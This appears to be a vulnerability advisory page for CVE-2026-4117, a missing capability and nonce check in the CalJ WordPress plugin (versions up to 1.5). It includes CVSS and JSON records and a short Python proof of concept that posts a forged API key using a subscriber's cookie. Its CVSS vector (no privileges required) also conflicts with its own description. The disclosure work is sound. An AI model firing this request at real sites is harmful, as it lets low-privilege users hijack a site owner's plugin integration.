Security Vulnerability Report
中文
CVE-2026-4117 CVSS 5.3 MEDIUM

CVE-2026-4117

Published: 2026-04-22 09:16:23
Last Modified: 2026-04-22 20:22:51

Description

The CalJ plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.5. This is due to a missing capability check in the CalJSettingsPage class constructor, which processes the 'save-obtained-key' operation directly from POST data without verifying that the requesting user has the 'manage_options' capability, and without any nonce verification. The plugin bootstrap file (calj.php) instantiates CalJSettingsPage whenever is_admin() returns true, which is the case for any authenticated user making requests to wp-admin URLs (including admin-ajax.php). This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the plugin's API key setting and clear the Shabbat cache, effectively taking control of the plugin's API integration.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress CalJ插件 <= 1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://target-site.com/wp-admin/" # Attacker's cookies (obtained after low-privilege auth) cookies = { "wordpress_logged_in_hash": "logged_in_cookie_value" } # Payload to update the API key payload = { "save-obtained-key": "1", "calj_api_key": "MALICIOUS_API_KEY" } # Send the POST request response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("PoC executed successfully. API key likely updated.") else: print("Failed to execute PoC.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4117", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:23.027", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CalJ plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.5. This is due to a missing capability check in the CalJSettingsPage class constructor, which processes the 'save-obtained-key' operation directly from POST data without verifying that the requesting user has the 'manage_options' capability, and without any nonce verification. The plugin bootstrap file (calj.php) instantiates CalJSettingsPage whenever is_admin() returns true, which is the case for any authenticated user making requests to wp-admin URLs (including admin-ajax.php). This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the plugin's API key setting and clear the Shabbat cache, effectively taking control of the plugin's API integration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/calj/tags/1.5/CalJSettingsPage.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/tags/1.5/CalJSettingsPage.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/tags/1.5/calj.php#L17", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/trunk/CalJSettingsPage.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/trunk/CalJSettingsPage.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/calj/trunk/calj.php#L17", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d1c7df8e-2f82-4474-88ef-8c8ddaeb4656?source=cve", "source": "[email protected]"}]}}